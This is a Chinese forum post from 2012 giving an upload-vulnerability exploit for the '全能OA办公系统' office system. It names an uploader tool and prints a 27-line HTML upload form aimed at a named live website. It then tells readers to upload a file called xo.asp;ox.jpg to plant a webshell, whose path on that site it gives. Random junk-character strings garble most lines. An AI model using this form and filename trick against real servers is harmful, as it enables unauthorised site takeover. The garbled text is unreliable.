全能OA办公系统 上传漏洞
1 z$ x9 n5 b: ^$ z5 s" W& `5 H8 B/ k/ c5 w: ?# [
系统介绍：) E, j9 o7 m- A u: B3 R
6 F6 ^2 g4 m0 `全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。 w% M) C6 W! g0 K" a
/ t( Q& t8 {$ |3 G; ]. |+ L: Q+ H主要功能：
" I, Z4 `0 K1 P! o9 l公司通告 " A9 t5 j7 b7 q, t
工作计划 0 A0 M# J& q! c
通讯助理 / J: U4 D7 J# a& o! Z
客户资源
8 E+ `" H% O' S. k我的公文
; C2 _/ X5 T: L# I( B) u! L公文传阅 , O/ R* Z- M# T1 A$ |! s
公共资源
& ^0 g0 [- ?, x& d资源预约
+ w% [0 ]+ j0 {3 P7 ^今日考勤
5 i: i" o& Q7 H2 R0 _( Y0 F个人计划
" A1 _" c- [0 r, D# r个人通讯录 5 Y* i, l* S5 m. N! T R% l
个人基本档案 - X! k X' }+ E! s* |" k
未读邮件
4 D# ^0 c. W4 A. _+ d发邮件
( ~6 V3 S! N0 {收件夹
" A. a7 z- S0 u0 {) C0 B2 ?寄件夹 7 ]2 \% v7 T; A+ e
网络硬盘 $ @) @# v# {- @ W
网络会议 : v2 ^3 H) I! ~
网络调查
4 J P) E( Z3 y交流论坛
( C8 z% [! K8 \$ m% {# K* C- ]% I4 \0 \. Q8 Y e0 |3 _
有兴趣测试的朋友可以下源码看看
# i4 S% L6 k& x! v( R4 ^+ B l/ P
源码下载：# F+ G! N1 T9 `+ G8 |- v
3 f: n. N3 G* U6 B' N; T/ Jhttp://www.mycodes.net/30/4750.htm0 ~5 M8 G. ^3 }2 I" |
& }+ ?2 v5 d6 i8 K2 H$ p# ~; _3 p9 I漏洞介绍：* R: M7 b7 E0 }5 d
0 U s, C7 T& G# d9 Y& P1 Z由upfile.asp上传文件漏洞引起
$ j* k1 K) g, B D
- [4 C! p+ ]6 [2 g( D* \1 g测试方法：! g9 U3 d0 X. p# s# Y4 V* T* m
; j, z+ {; o) _: C
使用名小子上传http://www.itlynn.com/upfile.asp即可
2 O+ J5 ?) o- U, O z
5 h; ], s2 ^( X! M! g9 j: ?如果upfile.asp文件被删除不存在。0 G: l, ^9 M6 a" k) Y+ N9 w
+ G" A i1 M0 N: g
那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。1 F9 ~2 a8 B7 d8 b5 x$ \3 g5 q
8 K3 S" c$ O/ h' U如果存在那么将如下代码保存为upfile.html。: k( q, ]; D3 x$ o
" n/ P( k' e, }8 ]然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
9 }5 F* ~' P3 i! e8 [- C9 {7 |9 U8 `4 }) e9 c" L
8 O9 A) A: {7 C4 w3 L. ? T5 T O( i+ i+ P
01 <table border='0' align="center" cellpadding="5"> * e1 O o0 c% I' ~& G& t, @
' n& [8 E, M2 @% U3 h# P
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1"> $ p* N" A4 ?% e. i
: R7 J5 A5 }* A5 D# A- N+ W03 <tr> " N; F3 t& R7 E# \5 {2 p
" g" k5 J3 _. s$ Y0 o. f04 <td>报错：</td> ; ]: e7 W7 K7 B6 k
+ S% W% \# g0 O$ H# G( I/ F7 h
05 <td><input type='radio' name='errnumber' value='0'>
$ Z( a( k( I) O8 O! z
& P* u `- x' X8 c4 i06 自动更名
+ W0 m5 e4 s; i P8 Y" v) E
: t. k4 i: p9 R' ?9 T07 <input type='radio' name='errnumber' value='1' checked> ) o4 J& D2 G6 B" x
& M, X' H5 @, a" Z+ a; d
08 报错方式
0 o" l) n' m! m: }; M) D* v9 O( [( ^' F- i4 C
09 <input type='radio' name='errnumber' value='2'>
- p8 h) x: V7 w& f/ s; ]0 `$ Q" w, M
10 直接覆盖</td> 1 I% o# n) G' Q, `0 i
1 g9 A4 D7 d6 t* {3 M% P; Z
11 </tr>
' E- D8 s) G @; A, I, z
3 ]: T- A: P1 w% Y1 R/ H' Y+ u( b0 Z12 <tr> 5 Y7 }, R8 u U2 O1 p Q
8 j/ D K% ^& \% w5 }- |6 U4 e
13 <td>主题：</td>
1 x$ y4 l4 t8 `1 F$ \6 S* [
. r5 y# q. Q/ `- W, I8 k2 X14 <td><input type='text' name='filename' size='30'></td> 7 O) }) M- u1 I+ {8 }1 m
; W, A! _) N3 h: N1 T5 P
15 </tr>
5 Y5 f% P% _* o" N) J& U: W# O1 d* n7 R- T
16 <tr>
, v F2 e0 J& E, d. v( w+ Y2 g+ ^% ~5 Y8 Q
17 <td>文件：</td> % u# z+ f f2 U/ j
! T. ? l# B% Z7 j
18 <td><input type="file"name="fruit"size="30"></td> 1 r/ d1 W# ]$ l8 K* T5 X
5 x+ ^. S: t3 J; s4 X" @) \
19 </tr> ( ?+ a, F3 _: k/ R4 R
& {5 o! e( }: ]2 g( x. ]4 V/ C20 <tr>
- G/ u' T8 k2 h6 a
0 X0 t+ [1 {8 }' p* T9 S$ ?21 <td valign='top'>简介：</td>
8 W1 S9 b/ _9 B- @5 E' d( m# X2 _; F* Z
22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td> ) N/ ?2 Q: C4 B- W8 Z$ ~; I$ i
, I7 d. O X% a' n: A23 </tr>
5 u% ~* _9 x: ~; \- X0 [1 r1 O. g4 t* y
24 9 ]# J& t/ A6 a! p/ d, {/ y$ C
8 t& l. n( m8 U( ~* @ @" W25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
3 o7 F, y5 k- ?( [ c
2 B, o. f' L; W26 </tr> ( ^0 Q& { s" `
# w, a/ w) I3 i$ a6 U( `& A; a$ x
27 </form>
0 n9 V$ A2 U# D. |. H8 Q- l7 J' S
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
( V* [; ]) z9 Q% G5 t! ]9 X$ ]8 }; t# r! L. ~. a
* g0 Y5 A+ N1 L9 A$ e& V1 q/ n
. ?% l! I* \- ~& {5 L2 y
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg! n' {$ h( q+ P1 ^ C" c
# |5 m5 f6 s) H: g4 ~" U, [此漏洞需要配合解析漏洞利用。
2 i8 g& v' _1 ]
5 `6 D1 o5 g+ V9 j3 f( S; \! C |
发表于 2012-11-21 13:45:12
收藏
支持
反对